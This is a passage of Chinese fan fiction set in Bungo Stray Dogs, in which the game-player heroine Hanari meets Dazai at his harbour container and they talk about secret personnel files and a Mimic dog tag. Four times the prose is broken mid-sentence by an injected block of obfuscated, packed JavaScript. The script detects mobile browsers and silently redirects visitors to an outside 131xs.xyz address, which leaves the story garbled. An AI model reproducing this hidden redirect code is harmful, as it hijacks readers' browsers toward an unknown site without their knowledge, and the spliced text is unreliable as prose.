就在这时,太宰治话锋一转,语气变得轻快,带着一种心血来潮般的兴致:“说起来……我这里确实很少邀请别人来参观呢。” “织田作还说过什么住处有人拜访会比较有生气之类的……花理怎么想?” “我?”花理愣了愣,被这突如其来的跳脱的话题打了个措手不及,“我……” 她还没想好怎么回答,就听见太宰治轻笑一声,又自顾自地说着,声音在空旷的环境里带出点微弱的回音: “花理酱不害怕的话,我倒是不介意提前见到你。嗯……顺便回答一下,你的「好奇心」好了~” “欸?” “反正离天亮还有点时间……”他的声音像是飘在空气里,“我在港口附近靠近旧施工区的废弃区……啊,你知道那些彩色集装箱吧?就是那片区域的旁边。其中一个……没锁门的蓝色箱子。” “我在这里等你……带点热的东西来吧,咖啡也可以……就当是打扰我宝贵睡眠时间的赔礼~” 花理看着系统地图上随着对方的话语新刷出来的一个标记。她拉开地图仔细看了一眼,再三确认那个地点在荒凉的海港边缘,眼角抽搐了一下。 集装箱……?这和想象中的干部的安全屋差太多了吧…… “……您还真是……不拘小节。”花理带着点无力的吐槽和一些对此人「钱财乃身外之物」的敬佩,说道。 她实在无法想象太宰治这种生物盘踞在铁皮盒子里的样子。 “对呀~这里视野超级棒!能看到第一缕阳光照在海面上的样子哦。”他语气欢快得像个在分享秘密基地的孩子,“而且,非常适合思考一些……人生的哲学问题——” “——或者跳海。” “……”花理沉默。 “您不会把我推进海里的话……” “当然不会~好伤心,我在花理眼里是虐待下属的人吗?” 花理深吸一口气,认命地在系统地图界面打开目的地导航: “……明白了。我会带热咖啡过去。” “嗯嗯、那我就等花理过来了。” “啪”的一声,太宰治结束了对话。忙音传来,通话断了。 花理握着发烫的手机,凌晨的风吹在脸上,让她清醒了不少。她刚刚……是被邀请去港口无人区的一个集装箱了?还是太宰治亲自指定的…… 真的不是什么灭口剧情吗。 她还是有点发怵,但好奇心和档案线索的诱惑最终还是压过了那点荒谬感。 凌晨五点,横滨几乎没有几家店在营业,花理沿着导航,走了挺长一段距离,仍然没看到任何一家开张的咖啡店…… 除了k记。 她默然片刻,Mafia干部吃k记仍然给她一种巨大的割裂和荒谬感,但发生在太宰治身上,总觉得有那么一些喜闻乐见和合理。 花理于是理直气壮地走进24小时营业的基础快餐、学生和打工人都心爱的k记。买了黑咖啡和帕○尼后,花理招手拦下一辆空车,报出了地图上那个靠近废弃区的集装箱区坐标。 司机从后视镜里看了她好几眼,眼神透着不放心:“小姑娘,这个点去那种地方?” “……”花理眨了眨眼,不知道如何解释,一时恶从胆边生。 她有些得意道:“其实我是Mafia。” “……”司机用莫名其妙的眼神看了她一眼,带了点慈爱。 “……您不害怕吗?”花理不服气。 “明白了。”司机大叔有些敷衍地点点头,“嗯嗯,小姑娘你是Mafia。” “所以去那边干什么啊……这个时间的码头可不安全。有时候会遇到火并,这还靠近港口Mafia的地盘……” 司机大叔仍然在絮絮叨叨,对花理说些安全教育,显然是完全没把花理的Mafia宣言当真。 花理有些憋屈地握了握拳,还是只能老实回答了: “呃……约了人谈点事情。”花理含糊地说,把脸低下一些,掩饰住装逼失败的脸红。 车子在越来越荒凉的道路上前行,路边能看到越来越多被弃置的货箱残骸和生锈的机器零件。她打开车窗,海风灌进车里。 路灯稀疏,光线被浓重的海雾晕开,勉强照亮脚下坑洼的路面。 空气里弥漫着铁锈、咸腥海水和若有若无的机油味。远处大型货轮的轮廓在雾气中影影绰绰,像蛰伏的巨兽。 系统地图上的光点越来越近。最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040792|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出租车停在一片被巨大废弃集装箱堆叠的区域边缘。司机指着前方隐藏在施工地里的一片零散箱子: “那边就是了,你自己当心点啊。”语气里的担忧更浓了。 “……谢谢。”花理自觉作为Mafia却被市民担忧面上无光,一声不吭地付了钱下车。 海浪拍岸的声音在不远处规律地响起,海风穿过集装箱间的缝隙发出令人害怕的、如鬼魂呜咽般的怪响。 花理抱着装着食物的纸袋子,深一脚浅一脚地踩在满是碎砾和杂草的地面上,绕过几个巨大的箱子山。终于,在一处相对开阔、能直接看到远处海平线的地方,她看到了那个孤零零的、颜色还算鲜亮的……小型蓝色集装箱。 箱门虚掩着,留了一道一掌宽的黑黢黢缝隙,里面没有任何灯光透出来。 「已解锁地点【太宰治的集装箱(家?)】」 「描述:腐朽的庇护所。身处货物吞吐的港口的废弃箱子,封闭金属结构形同“活棺材”。外部锈蚀如同太宰外在伤痕。」 花理咽了口唾沫,心脏在胸腔里跳得有点快。她慢慢走过去,抬手在那冰冷的铁皮箱门上轻轻敲了两下。 “太宰……先生?”她试探着叫了一声。 里面没有回应。 她又稍微用力敲了敲:“我是花理,给您带了咖啡……” 然而踩碎了什么塑料碎片的响声和脚步声是从她身后传来的。花理还没来得及转头,熟悉的气味和骨节分明的手已经搭上了她的肩。 花理吓得一抖,手里抱着的食物差点丢出去。 太宰治就站在她身后一步之遥的地方,仿佛从浓雾里渗出来的一样悄无声息。“哎呀”了一声,伸手接过了花理手里抱着的纸袋子。 他没穿那件标志性的黑大衣,只套了件略显单薄的黑色高领毛衣,蓬松的卷发乱糟糟的的,鸢色的眼睛在昏暗的光线下像是蒙着一层薄薄的雾气,看不出太多情绪,只有嘴角那点若有若无的弧度,带着点刚睡醒的懒散,又像某种恶作剧得逞的愉悦。 “花理。”他声音还带着点残余的、像是没睡醒的闷闷的鼻音,声音轻轻的,像羽毛搔刮耳膜,“来得很快嘛。” 他的视线扫过刚刚接过来的、印着某k记LOGO的纸袋,笑意加深了些。 花理惊魂未定地深吸了一口气,努力压下差点脱口而出的尖叫。她定了定神,看着太宰治接过去的纸袋,皱了皱脸:“……嗯,黑咖啡,还有……呃,帕○尼。” “嗯?” “至少我很爱吃……”花理说,“而且这是早餐套餐。” 太宰治没接话,反而侧身一步,绕到她前面,伸出手,轻轻推开了那扇虚掩的蓝色铁皮箱门。 门轴发出刺耳的“嘎吱”声,里面深深的,不见光的黑暗。 “进来吧。”他回头看了她一眼,率先弯腰钻了进去。姿态自然,像是完全没有什么需要注意的。 花理犹豫了一瞬,但想到那份档案,她咬了咬牙,刚想跟着钻进去。就见太宰治又钻出来。 “啊,我忘了。里面没有灯,要吃早餐的话还是外面比较好。”他垂眸看了花理一眼,倒是没有阻止她进入,站在狭小的入口微微侧身,“不过花理想看就看吧~” “这里可是连老鼠都不愿意光顾哦?”* 集装箱内部的空间比想象中更狭窄、更压抑。某种若有若无消毒水的气味扑面而来。 靠里是一张没有枕头,只有薄薄的一层被子的行军床。威士忌酒和清酒的瓶子东倒西歪的混杂着。 看起来脏兮兮的纸箱板,上面胡乱堆着一散落的几个空的蟹肉罐头和几本书名模糊的平装书。 18. 你有没有什么……瞒着我? “……” 花理的目光扫过空酒瓶和书封,最终落回太宰治脸上。他站在集装箱入口的阴影里,一眼看过去总觉得有些模糊。此刻这人正半倚在门框边,双手抱臂,脚尖有一下没一下地点在地面上。 “嗯?一声不吭呢。”太宰治的视线顺着花理注视的方向看过去,又收回来停留在少女身上,“不发表一下什么评价吗。” “关于这点。”花理加重了语气,咬字清晰,“……正在思考。” “哦?” “比如说您真是节俭啊之类的——” “唔……还有呢?” “没想到您会喝酒。” “哇。小花理对事物的判断还真是迟钝到让我震撼。”太宰治轻笑了一声,没什么正形的晃着手里的袋子,饶有兴趣地看她努力思考下皱着眉头的样子,“因为什么?” “那是因为……总之请将它当成赞美的一种收下吧。类似像是「言情剧女主不会出○」一样的奇怪滤镜,觉得太宰先生不会喝酒……” “判断的基准是?” “您一向很清醒很聪明。大概是要维持敏锐什么的。”花理说。 她忍不住吐槽:“身为干部过着这么痛苦清贫到还以为是天桥底下的人的生活,真是震惊到我了。” “嗯哼。”太宰治不以为意。 “……根本没有光线的地方看书竟然没有近视,是什么幸运的基因吗?” 花理和太宰治对视。他眨眨眼,慢吞吞地,像是吐出些什么一样深呼吸了一口气。站在集装箱门口,一半没入里面深深的黑沉的阴影。盯着她的眼睛意外的有些执着地问道:“……就这些?” “就这些。”花理顿了顿,“……关于「老鼠也不想来」的那句话我深表赞同。” 太宰治短促地笑了一声,他不再倚着门框,转身钻进集装箱里。花理只能听见窸窸窣窣的动静。 片刻后,他拿着两个罐头走出来,金属罐身在昏暗的早晨光线下反着微弱的光。 “那是什么?” 花理好奇。 “蟹肉罐头。”太宰治悠闲道,“嘛总之……” 他又像一只灵活的猫一样,越身跳上集装箱的顶部,哼着轻轻的、调子简单的如同童谣的歌曲踱步,花理听着他踩在金属箱上铁皮偶尔的吱嘎声,看着他迎着大海的方向张开双臂。 “啊,今天的太阳又升起来了。真遗憾……不过海风还是很舒服的。上来吧?小花理。” “这种弹跳力……”花理苦着脸,“即使不是武力派也有做到?Mafia真可怕……” “是哦。所以我说花理不适合做Mafia嘛。” “这种事情我也没得选啦……”花理想着自己看到的那个档案,有些迟疑地回答。她盯着莫名其妙笑得开怀的太宰治,身后黑气环绕,“我上不去……” “而且您刚刚拿走的袋子里也有我给自己买的那份早餐!”她控诉,盯着太宰治恶狠狠地磨牙。 “嗯……别露出那种表情嘛。”太宰治从棚顶探下身来看她,有些俏皮地朝她眨眨眼,手指往旁边一指,语气荡漾着夸张道: “那边有梯子的哦~?” 花理犹豫片刻,朝他指的方向看过去。确实有「梯子」,是烙在集装箱外研的钢筋制作成的简易扶手。她于是手脚并用地爬了上去,冰冷铁梯硌着手掌,让她的脑子更加清明了一点。 集装箱顶视野开阔。晨雾未散,灰蒙蒙的海面在她眼前铺开。花理发出小小的一声惊叹。 太宰治已经盘腿坐下,打开纸袋。咖啡热气和香气飘散开来。他拿起帕○尼咬了一口,腮帮子微微鼓起: “嗯~味道不错嘛。托花理的福,我还是第一次吃这个。” “……”虽然很奇怪真的有人没吃过k记吗但对方是Mafia的大领导反而让一切合理了起来。 太宰治一边啃着花理带来的早餐,一边掏出刚刚拿出来的蟹肉罐头,递了一个给花理。 “这个。” “……我们在野餐吗?” 花理的嘴角抽了抽,有些头痛。和太宰治像是两个幼儿园的小朋友一样手拉手野餐的感觉让她觉得有些惊悚。 但她犹豫了一下,还是接了过来。冰凉的触感让她指尖微缩。 “你吃这个当早饭?”花理捏着罐头,表情一言难尽。 “偶尔。”太宰治坐着,微微后仰,随意地一只手撑在集装箱粗糙的铁皮上,熟练地用指甲抠开拉环,“但今天不。毕竟有热心后辈送温暖了嘛。”他意有所指地瞥了眼袋子。 他喝了一口花理带来的黑咖啡,微微蹙了下眉,似乎嫌苦,但还是咽了下去。目光落在花理脸上那道浅浅的擦伤上,停了停。 “昨天,”他开口,声音被海风送过来,带着点漫不经心,“和蛞蝓一起吃饭,感觉如何?” 花理正在细细打量着拿到的罐头,试图从中找出一些可能被太宰治青睐的特殊之处,闻言动作一顿。她抬起头:“蛞、?……中原前辈啊。” 她有些不满地抱怨:“您可以这样说,我要是这样叫出口就要完蛋了……不要再让我的记忆里出现奇怪的名词了。” “中原前辈人很和蔼……对后辈还真是关照有加啊。”花理有些感概地说道,“因为有中原前辈所以昨天晚上吃了很好吃的东西。” “哦?”太宰治拖长了尾音,鸢色的眼睛里浮起一点玩味的笑意,“和蔼啊……花理酱的评价标准真有趣。” “呐呐,那我呢?”他眉眼弯弯,嘴角也噙着笑,用手指指着自己,凑近花理,“我也是和蔼的前辈吧(∩▽∩)?” 花理没接话,只是“咔”一声,终于拉开了罐头。浓郁的蟹肉味混着海风的腥咸飘散开。她用附带的叉子扒拉了两下,有些迟疑:“以前只吃过蟹味棒……” “啊啊不行不行!”太宰治像小孩子赌气一样大叫,“那可是对蟹肉的亵渎啊亵渎——” “……您是什么海产品的信徒吗。” “只是蟹肉的哟。” 他看着花理低头尝了一口罐头,没再追问中也的事,小口啜饮着咖啡,视线投向远处海平面逐渐清晰起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040793|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的第一缕晨光,侧脸在微熹的光线下显得有些模糊不清。 花理沉默地吃着。集装箱铁皮的冰凉、身侧人微凉的体温,以及扑面而来的也是凉爽的海风。 “……好凉。”一晚上没有回家,锄大地和做任务至今。身上一直都是系统初始的那套工作服西装套裙,花理有些想打开系统商城看看时装了……氪金一旦开始,好像就会像这样刹不住车。 “嘛。毕竟是海边。花理不习惯?” “……倒是还好。反而很亲切。” 她放下空罐头,深吸一口气,像是在做某种决定。纠结了片刻,她再次侧过头看向太宰治。青年面对着大海的方向,不知在想什么。此刻正垂着眼睑,睫毛微微地颤抖着。 “关于那个档案……”花理再次开口,海风带着咸腥灌入肺腑,凉意让她更清醒了几分。 “您说看过我的档案。里面……到底写了什么?” 太宰治正小口啜饮着咖啡,闻言动作没有丝毫停顿,甚至连眼睫都没抬一下。他咽下口中微苦的液体,发出一声满足的喟叹,才慢悠悠地转过头,鸢色的眸子在熹微晨光下显得格外通透,却也深不见底。 “档案啊……”他拖长了调子,手指轻轻捏了捏咖啡的纸杯,“花理酱是指港口Mafia人事部那份无聊的入职简历吗?没什么特别的哦。” 他歪着头,露出一个纯然无辜的笑容,仿佛真的只是在复述一份再普通不过的文件。 “我说的是您那天在审讯室后特意去调阅的那份。”花理着重强调道,“我想知道那里写的内容。” 太宰治脸上的笑容加深了些,像只餍足的猫。他放下咖啡杯,身体微微前倾,凑近花理,距离近得能让她清晰地闻到他身上残留的消毒水味和淡淡的咖啡香气。 “哎呀,花理酱的好奇心真是旺盛呢。”他的声音压低了,带着点气音,如同情人间的低语,“但都说了……确实没有什么特别的啦。” “花理自己的过去……作为当事人你不应该最清楚吗。”太宰治看着花理,因为倾身下来看着她的表情,把花理面前的光都遮住了。眸子里晦暗不明,翻涌着的是让花理有些退缩的情绪。 “咦?难道说花理其实失忆了?——之类的。” 他精准地戳中了花理,少女不由得僵了僵,像是有些心虚,但很快镇定下来。斟酌着字句: “……我只是作为员工,想看看档案上有没有记载一些……会影响我升职的黑历史、而已。” 太宰治低低地笑了两声,但他并没有继续深究,只是用那双洞悉一切的眼睛看着花理,仿佛在欣赏她细微的表情变化: “啊,这样啊。”他收回身子,变回一开始那样悠闲的姿态,“那种事没有哦?花理的档案……「没问题」啦。” “不过,”他话锋一转,指尖轻轻点了点花理放在膝盖上的手背,微微眯起的眸子一眨不眨地看着花理,冰凉的触感激得她微微一颤,“比起这个,我倒是更好奇另一件事……” “你有没有什么……想向我坦白的呢?小花理。” 19. 不要告诉任何人 花理的心脏猛地一跳。 什么……瞒着他的事情?指什么—— 作为玩家,被游戏角色问这种话,有一种天大的荒谬感。「绵津见花理」这个身份就是虚假的开始,她在面对他时的一切都是假的。所谓「瞒着他的事」…… 全部都可以算是吧……? 她下意识地想否认或转移话题,但想到对方断不可能是看透了什么超越代码的打破第四面墙的可能。花理又顿了顿。 那瞒着他的事……大概是指—— “如果您说的是我昨晚的动向的话。” “嗯……这个啊。唔……”太宰治沉吟片刻,花理的心脏七上八下的,睁大眸子一眨不眨地看着他注意着他的表情,幸好对方说的好像确实是这件事: “啊,是呢。这个也是。”他笑眯眯,语气轻飘飘的,拿不准是不是要对她的小动作轻轻揭过,“就这么爽快地承认没关系吗?花理。” “……” 对上太宰治那双仿佛能看穿灵魂的眼睛,她知道任何掩饰都是徒劳的。 她垂下眼睑,盯着自己的指尖发呆,沉默了几秒。海风拂过,带来远处海鸥的鸣叫。再抬起头时,她的眼神里带着一种破罐子破摔的平静。 “毕竟有追踪器……”花理自暴自弃道,“您肯定知道。无论我说不说。” “嗯嗯、确实是这样——不过,这么无所谓的态度没关系吗?”太宰治有些恶趣味地顿了顿,吓唬她,“我可是可能会告诉森先生的哦。” “那好像也没办法……只能拜托您不要说……”花理嘟囔两句,“但无论怎么说作为高层明明知道这件事的情况下还是没有阻止、太宰大人也会被问责的吧?” “啊……说得也是呢。”太宰治感叹一声,“毕竟森先生确实是这种可怕的大叔嘛。” “那不如……花理给我分享一下昨天看到的一切,”太宰治盘着的腿伸直一些,分开了双腿。一只手垂下放在膝盖上,另一只手一下一下地敲着集装箱顶。固体传导的“咚、咚”的感觉,总觉得让花理还不容易理清收回的心绪再次乱了起来。她有些苦恼地抓了抓脑袋。 听着海浪在耳边哗哗的声音,还有海鸥扑腾翅膀从附近掠过的声音。心脏跳动的声音是这样的明显,还有身边人清浅的呼吸。除此之外,只有衣物摩擦与碰到集装箱的金属的空空的回响。 “好吧……”她垂下眸子,“去了BOSS大人的地下诊所。” 太宰治双手抱臂,虽然说出来的话听起来像尖锐的质问,但语气却充满了无所谓。 “哎呀。刚入职就去那种地方吗?” “我是不是可以怀疑——小花理你是间谍呢?”青年这样悠闲地说,拍拍裤子上的灰站起来。花理迟疑地抬头看着他的动作,太宰治只是向前几步走到了集装箱的边缘,然后一如他们昨天早上见面时那样,一半身子悬空出去地坐着。 但这次不同,这次他还回过头来,好心情的、亲密的、像呼唤熟识的狗狗一样对着花理招了招手。 “……我也要过去?” “这边能更清楚地感觉到风哦?离大海也更近。花理不要吗?” “毕竟在您说完刚刚那句话时、承接这个动作……”花理小声咕囔,倒还是老老实实的也跟着站了起来,“我会有一些「不会被推下去吧」……的质疑。” “真讨厌……”面前的人声音低低地这样说了一句,哼笑了一声,“我觉得自己对待小花理已经非常温柔了哦。” “然后呢?” “……以为您会先问动机。” “一开始就问了啊。「花理是不是有什么瞒着我」……之类的。” 青年双手撑在身侧,两条放下去的腿在空中晃啊晃。抬头笑眯眯的看花理屈服于被他抓住把柄、或是对他一些莫名的敬畏老实地过来,蹲在他旁边,似乎在犹豫坐哪里好。 太宰治于是往旁边移了移,再对着花理拍拍空箱子边。 “这里坐~” “……”花理无言地坐下,张了张嘴。然后蹙着眉看向太宰,一脸苦恼,“不能说。” “不能说也是陈述的一种哦。花理知道「不能说」里面有多少信息吗?” “那就没办法了……因为我暂时还没有勇气也没有智慧编出可以骗过太宰大人的谎言。” “因为昨晚的经历……所以今天才跑过来问我档案的事情啊。”太宰治喃喃自语,眨眨眼睛,“让我猜猜……你在那里找到了自己的档案。” 这是肯定句。花理顿了顿,也不遮掩:“嗯。” 此人说出来的话,就和他的脑回路和捉摸不透的性格一样弯弯绕绕,他拿出自己还没吃的那份罐头,明明说得很喜欢却只是拿在手上转着玩,他的下一句也如此跳脱了开来: “一晚没睡?” “是这样……”花理心虚,“抱歉,明明今天有任务。” “哈……”太宰治嗤笑一声,虽然提出了这个问题,但他却一句也没有追问,“精力真不错啊……在这种地方难得像个Mafia呢。” “……”花理不敢说话。总觉得又给这人递上了什么可以挖掘出自己身份的了不得的线索。 “除了我自己……”花理说,她转过头看着太宰治的眼睛,认真地道,“我还看到了您的档案。昨晚。” 太宰治的呼吸似乎滞了一瞬,手里转罐头的小动作也停了下来。尽管他的表情依旧维持着那副饶有兴味的模样。 “哦?”他发出一声意义不明的单音节,尾音微微上扬,带着钩子,“……哈。嗯,我知道了。” 他恢复了平静。垂着头,花理看不出他的情绪。她刚要开口问问他一点都不惊讶吗,就听青年问她: “那、花理打开看了吗?” 花理:“……” 当然是看了啊!看了才会现在提起来、才会心虚的好不好……不过他这种表情……该不会生气吧? 她瞅了几眼太宰治的表情,对方神色自若,却在她终于做好心理准备要回答的时候: “啪嗒。” 太宰治手中把玩着的蟹肉罐头盖子,毫无预兆地掉落下去,在地上滚了几圈,发出一声清脆又突兀的声响,在寂静的清晨格外刺耳。 “……前辈?” “嗯。我在哦。” 那一瞬间,花理清晰地捕捉到太宰治眼中掠过一丝极其尖锐的冷意,露出了底下深不见底的寒潭。他鸢色的瞳孔微眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040794|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周围的气压仿佛都低了几度。 但这变化只持续了不到半秒。几乎是掉落的罐头还在弹跳滚动时,太宰治脸上的表情已经迅速恢复了常态,甚至比之前更加灿烂。他夸张地“哎呀”了一声。 “真糟糕……手滑了。”他懒散地垂眸看了一眼地下的盒子,支在身侧的手拿起,在花理和自己之间,比了一个「噤声」的动作。 “可以不用说了哦。”太宰治抬起头,脸上重新挂起那抹熟悉的、带着点戏谑和慵懒的笑容,仿佛刚才那一瞬间的失态只是花理的错觉,“内容大概都能猜到。啊呀,真是的,被后辈看到这么不光彩的过去,让人怪不好意思的呢~” 他嘴上说着“不好意思”,语气却轻飘飘的,甚至带着点炫耀自己“劣迹斑斑”的意味,如同孩童描述自己的恶作剧记录。 “……其实挺不能想象「不好意思」这种似乎没什么作用的情绪出现在您身上。” “是吗?那真是再好不过了。因为现在确实并没有。” “……” “不过,”他话锋再次一转,身体微微后仰,双手撑在身后,仰头看向天空。第一缕金色的阳光终于刺破了浓厚的海雾,洒在他脸上,照亮了他的脸庞,也让他眼底的情绪终于变得清晰起来。 “花理酱特意跑去那种地方,应该不是为了了解我的过去吧?”太宰治的声音带着一丝不易察觉的玩味。 “嗯……确实是那样。”花理吞吞吐吐了片刻,叹了口气,从背包里拿出来他的那份档案递过去。 “这个……前辈不介意的话,就现在物归原主了。” 太宰治转过头,只是扫了一眼袋子,接了过去,随意地掂了两下,便迎着初升的朝阳—— 手腕一扬,将其往远处大海的方向扔过去。 随着花理难以形容的表情和“噗呲”一声,在海面上激起一圈浪花的声音,他转过头对花理展露出一个无比耀眼的、甚至可以称得上“纯真”的笑容: “怎么了?” 他笑意吟吟,丝毫不觉得有哪里不对。这样问道。 “……”花理收起自己目瞪口呆的表情,郁闷地摇了摇头,“没什么……本来就是您的东西。” 不要倒是留给她啊、我们全收集类有执念……希望系统那里有电子备份吧。 实则她在暗自腹诽。 海风卷起他蓬松的黑发,阳光在他周身镀上一层朦胧的金边。他坐在那里,笑得像一个发现了新玩具的孩子,又像是一个……刚刚确认了猎物踏入陷阱的猎人。 “你看起来很可惜。里面有什么很让你在意的内容吗?” “嗯?没有……其实我也只看了前面,前面的话并没有什么让人惊讶的。和现在的您差不多。” “哈哈。这样啊。”他耸了耸肩。 “花理那份也是,”太宰治朝她伸出手晃了晃,“给我~” “……您不会又要丢了吧。” “……噗呲。” 花理看着他沐浴在晨光中的笑脸,只觉得对方突然的笑很莫名其妙。 “嗯……不想给我就算了。但是花理要记得……” “不要和任何人说哦?也不要给任何人看。你的档案。” 20. 第二次任务 他直勾勾地看着花理,嘴角带笑,这样说道。花理不明其意味,但还是点了点头,敷衍的承诺“好”。 “如果被看到了真的会死掉的哦?” 太宰治又加重语气,重新说了一遍。 花理:“……”那一开始怎么在那种没人在随便来个流浪汉都可能发现的地方,游戏背景居心不良啊! 她皱着眉,昨晚诊所深处那盏诡异的灯在脑海里闪回——无人店铺,积灰的柜台,偏偏档案柜上方亮着光。唯独她和太宰档案的封皮甚至没有灰尘……就像被谁刚刚打开过。 她再次点头,这次果断也老实了很多:“我记住了。谢谢您,太宰大人。” “是BOSS大人留下的吗,”她心有疑虑,却想不明白其中缘由,“……为什么呢。” 太宰治侧过头,海风吹乱他额前的碎发,声音轻得像自言自语:“是啊……为什么呢?” 他忽然笑起来:“小花理观察得真仔细——说不定是闹鬼哦?废弃诊所的怨灵在翻阅自己的死亡记录之类的~” 花理:“……” ——不想说就直说啊这人! 她怒瞪太宰治,太宰治倒是看起来没什么所谓的样子,“花理就当是——就好哦。” “毕竟无论是谁,花理都无能为力了吧。”这一句像是叹息,又像是哼笑。花理顿了顿: “除了这件事,还有……” 刚刚在背包里看到的,另一样需要她亲自「物归原主」的东西。花理把手伸进口袋,指尖触碰到那块冰冷坚硬的东西。 她掏出来,递到太宰治面前。 “这个,”花理的声音很平静,目光直视着他,带着一丝探究,“物归原主。” 躺在少女掌心上的,正是那块刻着陌生名字的、属于Mimic士兵的军牌。金属在初升的阳光下反射着一点冷硬的光泽,边缘还沾染着或许曾在战场上带来的、难以洗净的灰尘印记。 太宰治的目光从遥远的海面收回,落在她摊开的掌心。那点玩味的笑意淡了下去,鸢色的瞳孔里映着那块小小的金属牌,以及花理表情木然、嘴角下撇的脸。 海风从两人之间穿过,带着清晨特有的凉意,吹动了花理颊边的碎发,也吹得集装箱生锈的接缝处发出细碎的呜咽声。而太宰治哼笑一声。 太宰治没动,也没说话。他只是看着那块军牌,又抬眼看向花理,眼神深得像一口古井,看不清底下翻涌着什么。 时间仿佛凝固了几秒。空气里只剩下海浪声和铁皮被风吹动的轻响。他叹了一口气。 “小花理……”他语调突然上扬,夹着点俏皮,像是少女的抱怨,“不要乱说啦~?这可是mimic的东西——怎么会是我的呢?” “……你捡到的吧。”花理棒读。 “讨厌啦,那人家为什么要把它放在小花理那里呢?” 花理:“……”这我怎么知道啊! “……那就是我记错了。”花理从善如流地改口,手指却依然摊开着没有收回,“但总觉得这种东西放在我这里不合适。所以来询问一下太宰大人的意见好了。” “不。放在你那里才合适哦。” “……为什么这样说?” “因为是事实嘛。” “……” 花理掌心那块冰冷的军牌,在集装箱顶初升的阳光和海风里,像个烫手的证物。太宰治那句“放在你那里才合适哦”轻飘飘的。却让她的思绪如潮翻涌。 为什么这样说?放在她这里才合适……花理心里涌起了警惕。 ……难道这个人又要做什么违反常理的大场面了?她苦着脸,嘴角下意识向下撇。 “事实?”花理手指无意识地蜷缩,目光紧紧锁在太宰治脸上,试图从那层永远看不透的笑容下挖出点真意,“……明明是——” 这个人莫名其妙的、她还没能理清思路的举动。 太宰治歪头,细碎的额发被海风吹得晃动,鸢色的眼瞳像蒙了层海雾,倒映着她困惑又执拗的脸。 “小花理真会钻牛角尖呢。”他声音拖得绵长,带着点逗弄小动物的兴味,“当然是——它选择了你的事实呀。就像命运的齿轮,‘咔哒’一声,咬合了。” 他甚至还伸出两根手指,在空中模拟了一下齿轮转动的样子。 “就像这样……对吧?人是很难违抗命中注定的哦?比起逃避,有一些小小的「意外」反而会让你更好面对它~” 花理不为所动,她手往前又递了递。 “我不明白。”花理有些气鼓鼓的,做势要把军牌塞回太宰治的手里。 “我根本不了解……也不想和mimic扯上关系。说到底,我只是个文员吧?” “我不需要这种「命运的齿轮」。麻烦您收回……麻烦您告诉我如何处理,”她顿了顿,眼神带了点破釜沉舟的大胆,还有些对面前此人的咬牙切齿,“再说了,这个所谓的命运,是谁安排的?这个世界上有没有神明这种东西——” “有的哦。” “……”花理顿了顿,心力交瘁,想到了系统曾经说过的「中原中也是神嘛」,“好吧,如果中原前辈算是的话。” “那您不愿意告诉我的话……我把它交给中原前辈也是可以的吧?” 太宰治脸上的笑容淡了一瞬。他垂眸扫了一眼那块沾着灰的金属牌,又抬起眼,目光落在花理眯着眼睛,一脸冷漠的表情上。 “中也?”他轻轻重复,尾音上扬,带着点奇异的嘲弄,“你觉得中也会帮你啊。” 他忽然伸出手,却不是去接军牌,而是用冰凉的指尖,慢条斯理地拂过花理摊开的手腕内侧皮肤,激起一阵细微的战栗。 “明明只有我……对花理才是真正的「照顾」哦。” 又是这个词……花理一脸木然。对方却是弯了弯眉眼,一副理所当然的模样。 “就当是……”他凑近一点,声音压得更低,带着点蛊惑的气息,“我送你的‘入职礼物’?用来……发现点有趣的东西。” 他的指尖在花理手腕上轻轻一点,随即收回,仿佛那一下触碰只是错觉。 花理下意识地握紧了拳头,军牌坚硬的边缘陷进掌心,她又一脸不爽的松开。链条还吊在她指尖,铁牌落下,在空中晃荡两下。 “礼物?”花理幽幽道,看向太宰治的眼神里满是无语,“……会给人带来麻烦的这种?” “别这么说嘛。”太宰治直起身,语气又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040795|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复了惯常的轻快,“时间差不多了哦,该去‘工作’了。至于它——” 他花理朝扬了扬下巴:“好好收着吧。说不定,今天就能用上呢?” 